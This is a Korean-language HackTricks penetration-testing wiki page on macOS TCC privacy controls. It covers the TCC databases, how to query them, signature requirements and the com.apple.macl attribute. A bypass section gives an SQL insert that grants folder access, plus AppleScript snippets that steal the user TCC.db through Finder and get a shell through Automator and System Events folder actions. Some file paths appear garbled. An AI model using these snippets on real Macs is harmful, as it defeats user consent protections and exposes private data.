# macOS TCC {{#include ../../../../banners/hacktricks-training.md}} ## **기본 정보** **TCC (투명성, 동의 및 제어)**는 애플리케이션 권한을 규제하는 데 중점을 둔 보안 프로토콜입니다. 그 주요 역할은 **위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 접근**과 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 접근을 허용하기 전에 명시적인 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다. 사용자는 애플리케이션이 보호된 기능에 대한 접근을 요청할 때 TCC를 경험하게 됩니다. 이는 사용자가 **접근을 승인하거나 거부**할 수 있는 프롬프트를 통해 표시됩니다. 또한, TCC는 **파일을 애플리케이션으로 드래그 앤 드롭**하는 것과 같은 직접적인 사용자 행동을 수용하여 특정 파일에 대한 접근을 허용하며, 애플리케이션이 명시적으로 허용된 것에만 접근할 수 있도록 보장합니다. ![TCC 프롬프트의 예](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) **TCC**는 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`에 위치한 **데몬**에 의해 처리되며, `/System/Library/LaunchDaemons/com.apple.tccd.system.plist`에서 구성됩니다 (mach 서비스 `com.apple.tccd.system` 등록). 로그인한 사용자마다 실행되는 **사용자 모드 tccd**가 `/System/Library/LaunchAgents/com.apple.tccd.plist`에 정의되어 있으며, mach 서비스 `com.apple.tccd`와 `com.apple.usernotifications.delegate.com.apple.tccd`를 등록합니다. 여기에서 시스템과 사용자로서 실행 중인 tccd를 볼 수 있습니다: ```bash ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd ``` 권한은 **부모** 애플리케이션에서 **상속**되며, **권한**은 **Bundle ID**와 **Developer ID**를 기반으로 **추적**됩니다. ### TCC 데이터베이스 허용/거부는 다음과 같은 TCC 데이터베이스에 저장됩니다: - **`/Library/Application Support/com.apple.TCC/TCC.db`**에 있는 시스템 전체 데이터베이스. - 이 데이터베이스는 **SIP 보호**되어 있어, SIP 우회만이 여기에 쓸 수 있습니다. - 사용자 TCC 데이터베이스는 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**로, 사용자별 설정을 위한 것입니다. - 이 데이터베이스는 보호되어 있어, Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다(하지만 SIP로 보호되지는 않습니다). > [!WARNING] > 이전 데이터베이스는 **읽기 접근을 위한 TCC 보호**도 적용됩니다. 따라서 **TCC 권한이 있는 프로세스**가 아닌 이상 일반 사용자 TCC 데이터베이스를 **읽을 수 없습니다**. > > 그러나 이러한 높은 권한(예: **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**)을 가진 프로세스는 사용자 TCC 데이터베이스에 쓸 수 있습니다. - **`/var/db/locationd/clients.plist`**에 있는 **세 번째** TCC 데이터베이스는 **위치 서비스**에 접근할 수 있는 클라이언트를 나타냅니다. - SIP 보호 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 접근도 보호됨)에는 모든 **유효한 TCC 데이터베이스**의 **위치**가 포함되어 있습니다. - SIP 보호 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC로 읽기 접근도 보호됨)에는 더 많은 TCC 허용 권한이 포함되어 있습니다. - SIP 보호 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외가 필요한 애플리케이션의 허용 목록입니다. > [!TIP] > **iOS**의 TCC 데이터베이스는 **`/private/var/mobile/Library/TCC/TCC.db`**에 있습니다. > [!NOTE] > **알림 센터 UI**는 **시스템 TCC 데이터베이스**에 **변경**을 할 수 있습니다: > > ```bash > codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd > [..] > com.apple.private.tcc.manager > com.apple.rootless.storage.TCC > ``` > > 그러나 사용자는 **`tccutil`** 명령줄 유틸리티로 **규칙을 삭제하거나 쿼리**할 수 있습니다. #### 데이터베이스 쿼리 {{#tabs}} {{#tab name="user DB"}} ```bash sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {{#endtab}} {{#tab name="system DB"}} ```bash sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Get all FDA sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2; # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {{#endtab}} {{#endtabs}} > [!TIP] > 두 데이터베이스를 확인하면 앱이 허용한 권한, 금지한 권한 또는 없는 권한(요청할 것입니다)을 확인할 수 있습니다. - **`service`**는 TCC **권한** 문자열 표현입니다. - **`client`**는 권한이 있는 **번들 ID** 또는 **이진 파일 경로**입니다. - **`client_type`**은 번들 식별자(0)인지 절대 경로(1)인지 나타냅니다.
절대 경로인 경우 실행하는 방법 **`launctl load you_bin.plist`**를 실행하면 됩니다. plist는 다음과 같습니다: ```xml Label com.example.yourbinary Program /path/to/binary ProgramArguments arg1 arg2 RunAtLoad KeepAlive StandardOutPath /tmp/YourBinary.stdout StandardErrorPath /tmp/YourBinary.stderr ```
- **`auth_value`**는 다음과 같은 다양한 값을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3). - **`auth_reason`**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) - **csreq** 필드는 이진 파일을 검증하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; # To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line): BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003" echo "$BLOB" | xxd -r -p > terminal-csreq.bin csreq -r- -t < terminal-csreq.bin # To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line): REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}') echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') echo "X'$REQ_HEX'" ``` - 더 많은 정보는 **다른 필드**에 대한 [**이 블로그 게시물**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하세요. `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`에서 앱에 **이미 부여된 권한**을 확인할 수도 있습니다. > [!TIP] > 사용자는 **`tccutil`**을 사용하여 **규칙을 삭제하거나 쿼리**할 수 있습니다. #### TCC 권한 재설정 ```bash # You can reset all the permissions given to an application with tccutil reset All app.some.id # Reset the permissions granted to all apps tccutil reset All ``` ### TCC 서명 검사 TCC **데이터베이스**는 애플리케이션의 **번들 ID**를 저장하지만, 권한을 사용하려고 요청하는 앱이 올바른 것인지 확인하기 위해 **서명**에 대한 **정보**도 **저장**합니다. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; #Get csreq # From bash echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin ## Get signature checks csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] > 따라서, 동일한 이름과 번들 ID를 사용하는 다른 애플리케이션은 다른 앱에 부여된 권한에 접근할 수 없습니다. ### 권한 및 TCC 권한 앱은 **단순히** **요청**하고 **접근 권한을 부여받는 것**만으로는 부족하며, **관련 권한을 가져야** 합니다.\ 예를 들어 **Telegram**은 **카메라에 접근하기 위해** `com.apple.security.device.camera` 권한을 가지고 있습니다. 이 **권한이 없는 앱**은 카메라에 접근할 수 **없으며** (사용자에게 권한을 요청하지도 않습니다). 그러나 앱이 `~/Desktop`, `~/Downloads` 및 `~/Documents`와 같은 **특정 사용자 폴더에 접근하기 위해서는** 특정 **권한이 필요하지 않습니다.** 시스템은 접근을 투명하게 처리하고 **필요에 따라 사용자에게 요청**합니다. Apple의 앱은 **프롬프트를 생성하지 않습니다**. 이들은 **권한** 목록에 **미리 부여된 권한**을 포함하고 있어, **결코 팝업을 생성하지 않으며**, **TCC 데이터베이스**에 나타나지 않습니다. 예를 들어: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] com.apple.private.tcc.allow kTCCServiceReminders kTCCServiceCalendar kTCCServiceAddressBook ``` 이것은 Calendar가 사용자에게 알림, 캘린더 및 주소록에 접근할 것을 요청하지 않도록 합니다. > [!TIP] > 권한에 대한 공식 문서 외에도 **다음에서 비공식적인 흥미로운 정보를 찾을 수 있습니다** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) 일부 TCC 권한은: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 모든 권한을 정의하는 공개 목록은 없지만 이 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다. ### 민감한 보호되지 않은 장소 - $HOME (자체) - $HOME/.ssh, $HOME/.aws 등 - /tmp ### 사용자 의도 / com.apple.macl 앞서 언급했듯이, **파일을 드래그 앤 드롭하여 앱에 접근을 부여할 수 있습니다**. 이 접근은 어떤 TCC 데이터베이스에도 명시되지 않지만 **파일의 확장된 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID**를 저장합니다: ```bash xattr Desktop/private.txt com.apple.macl # Check extra access to the file ## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command macl_read Desktop/private.txt Filename,Header,App UUID "Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3 # Get the UUID of the app otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` > [!NOTE] > **`com.apple.macl`** 속성이 tccd가 아닌 **Sandbox**에 의해 관리된다는 점이 흥미롭습니다. > > 또한, 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 대한 접근 권한이 부여되지 않는다는 점에 유의하세요. 확장 속성 `com.apple.macl` **는** 다른 확장 속성과 달리 **SIP에 의해 보호되기 때문에** **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 바와 같이**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고 **삭제**한 후 **압축 해제**하면 이를 비활성화할 수 있습니다. ## TCC Privesc & Bypasses ### TCC에 삽입 어느 시점에서 TCC 데이터베이스에 대한 쓰기 접근 권한을 얻으면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다(주석을 제거하세요):
TCC에 삽입 예제 ```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
### TCC 페이로드 TCC 권한이 있는 앱에 들어갈 수 있었다면, 이를 악용하기 위한 TCC 페이로드를 확인하세요: {{#ref}} macos-tcc-payloads.md {{#endref}} ### Apple Events Apple Events에 대해 알아보세요: {{#ref}} macos-apple-events.md {{#endref}} ### 자동화 (Finder)에서 FDA\* 자동화 권한의 TCC 이름은: **`kTCCServiceAppleEvents`**\ 이 특정 TCC 권한은 TCC 데이터베이스 내에서 **관리할 수 있는 애플리케이션**을 나타냅니다 (따라서 권한이 모든 것을 관리할 수 있는 것은 아닙니다). **Finder**는 **항상 FDA를 가지고 있는** 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 **Automation** 권한이 있다면, 이를 악용하여 **일부 작업을 수행하게 할 수 있습니다**.\ 이 경우 귀하의 앱은 **`com.apple.Finder`**에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다. {{#tabs}} {{#tab name="사용자 TCC.db 훔치기"}} ```applescript # This AppleScript will copy the system TCC database into /tmp osascript< [!WARNING] > 이 권한을 사용하면 **Finder에게 TCC 제한 폴더에 접근하도록 요청하고 파일을 받을 수 있지만**, 내가 아는 한 **Finder가 임의의 코드를 실행하도록 만들 수는 없습니다**. 따라서 FDA 접근을 완전히 악용할 수는 없습니다. > > 따라서 전체 FDA 기능을 악용할 수 없습니다. 다음은 Finder에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:
> [!CAUTION] > **Automator** 앱이 TCC 권한 **`kTCCServiceAppleEvents`**를 가지고 있기 때문에, **모든 앱을 제어할 수 있습니다**, 예를 들어 Finder와 같은 앱을 제어할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드를 사용하여 **Finder**도 제어할 수 있습니다:
Automator 내에서 셸 얻기 ```applescript osascript< **Script Editor 앱**에서도 동일한 일이 발생합니다. Finder를 제어할 수 있지만 AppleScript를 사용하여 스크립트를 실행하도록 강제할 수는 없습니다. ### Automation (SE) to some TCC **System Events는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더(바탕화면, 문서 및 다운로드)에 접근할 수 있습니다.** 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다: ```bash # Create script to execute with the action cat > "/tmp/script.js" < Services SystemPolicyAllFiles CodeRequirement identifier "com.apple.Terminal" and anchor apple IdentifierType bundleID Identifier com.apple.Terminal ``` ### TCC 우회 {{#ref}} macos-tcc-bypasses/ {{#endref}} ## 참고문헌 - [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) - [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command) - [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/) - [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) {{#include ../../../../banners/hacktricks-training.md}}